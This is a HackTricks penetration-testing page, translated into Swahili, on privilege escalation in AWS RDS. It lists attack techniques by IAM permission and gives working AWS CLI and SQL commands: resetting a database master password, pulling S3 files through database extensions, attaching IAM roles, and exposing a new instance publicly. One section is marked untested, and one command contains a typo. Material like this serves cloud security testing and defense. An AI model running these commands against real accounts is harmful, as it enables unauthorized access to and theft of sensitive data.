AWS - RDS Privesc

Support HackTricks

RDS - Huduma ya Hifadhidata ya Uhusiano

Kwa maelezo zaidi kuhusu RDS angalia:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Kwa ruhusa hiyo mshambuliaji anaweza kubadilisha nenosiri la mtumiaji mkuu, na kuingia ndani ya hifadhidata:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Utahitaji kuwa na uwezo wa kuwasiliana na hifadhidata (zinapatikana kwa kawaida tu kutoka ndani ya mitandao).

Athari Zinazoweza Kutokea: Pata taarifa nyeti ndani ya hifadhidata.

rds-db:connect

Kulingana na docs mtumiaji mwenye ruhusa hii anaweza kuungana na mfano wa DB.

Kunyanyasa Ruhusa za RDS Role IAM

Postgresql (Aurora)

Ikiwa unakimbia SELECT datname FROM pg_database; unapata hifadhidata inayoitwa rdsadmin unajua uko ndani ya hifadhidata ya AWS postgresql.

Kwanza unaweza kuangalia ikiwa hifadhidata hii imetumika kufikia huduma nyingine yoyote ya AWS. Unaweza kuangalia hii kwa kutazama nyongeza zilizowekwa:

SELECT * FROM pg_extension;

Ikiwa unapata kitu kama aws_s3 unaweza kudhani kuwa hifadhidata hii ina aina fulani ya ufikiaji juu ya S3 (kuna nyongeza nyingine kama aws_ml na aws_lambda).

Pia, ikiwa una ruhusa ya kukimbia aws rds describe-db-clusters unaweza kuona huko ikiwa klasta ina IAM Role yoyote iliyoambatanishwa katika uwanja AssociatedRoles. Ikiwa ipo, unaweza kudhani kuwa hifadhidata ilikuwa imeandaliwa kufikia huduma nyingine za AWS. Kulingana na jina la jukumu (au ikiwa unaweza kupata ruhusa za jukumu) unaweza kukisia ni ufikiaji gani wa ziada hifadhidata ina.

Sasa, ili kusoma faili ndani ya bakuli unahitaji kujua njia kamili. Unaweza kuisoma kwa:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Ikiwa ungekuwa na raw AWS credentials unaweza pia kuzitumia kufikia data ya S3 kwa:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql haitaji kubadilisha chochote katika parameter group variable ili kuweza kufikia S3.

Mysql (Aurora)

Ndani ya mysql, ukikimbia query SELECT User, Host FROM mysql.user; na kuna mtumiaji anayeitwa rdsadmin, unaweza kudhani uko ndani ya AWS RDS mysql db.

Ndani ya mysql kimbia show variables; na ikiwa variables kama aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role, zina thamani, unaweza kudhani database imeandaliwa kufikia data za S3.

Pia, ikiwa una ruhusa ya kukimbia aws rds describe-db-clusters unaweza kuangalia ikiwa cluster ina associated role yoyote, ambayo kwa kawaida inamaanisha ufikiaji wa huduma za AWS).

Sasa, ili kusoma faili ndani ya bucket unahitaji kujua njia kamili. Unaweza kuisoma kwa:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Mshambuliaji mwenye ruhusa rds:AddRoleToDBCluster na iam:PassRole anaweza kuongeza jukumu lililobainishwa kwenye mfano wa RDS uliopo. Hii inaweza kumwezesha mshambuliaji kupata data nyeti au kubadilisha data ndani ya mfano.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Madhara Yanayoweza Kutokea: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance. Kumbuka kwamba baadhi ya DB zinahitaji mipangilio ya ziada kama Mysql, ambayo inahitaji kubainisha ARN ya jukumu katika vikundi vya aprameter pia.

rds:CreateDBInstance

Kwa ruhusa hii tu mshambuliaji anaweza kuunda instance mpya ndani ya klasta ambayo tayari ipo na ina IAM role iliyounganishwa. Hataweza kubadilisha nenosiri la mtumiaji mkuu, lakini anaweza kuwa na uwezo wa kufichua instance mpya ya database kwa mtandao:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Jaribu

Mshambuliaji mwenye ruhusa rds:CreateDBInstance na iam:PassRole anaweza kuunda mfano mpya wa RDS na jukumu lililounganishwa. Mshambuliaji anaweza kisha kupata data nyeti au kubadilisha data ndani ya mfano huo.

Mahitaji mengine ya jukumu/profili ya mfano kuunganishwa (kutoka hapa):

  • Profaili lazima iwepo kwenye akaunti yako.

  • Profaili lazima iwe na jukumu la IAM ambalo Amazon EC2 ina ruhusa ya kulichukua.

  • Jina la profaili ya mfano na jina la jukumu la IAM lililounganishwa lazima ianze na kiambishi AWSRDSCustom .

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Madhara Yanayoweza Kutokea: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance.

rds:AddRoleToDBInstance, iam:PassRole

Mshambuliaji mwenye ruhusa rds:AddRoleToDBInstance na iam:PassRole anaweza kuongeza jukumu lililotajwa kwenye RDS instance iliyopo. Hii inaweza kumwezesha mshambuliaji kufikia data nyeti au kubadilisha data ndani ya instance hiyo.

DB instance lazima iwe nje ya kundi kwa hili

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Madhara Yanayoweza Kutokea: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance.

Support HackTricks

Last updated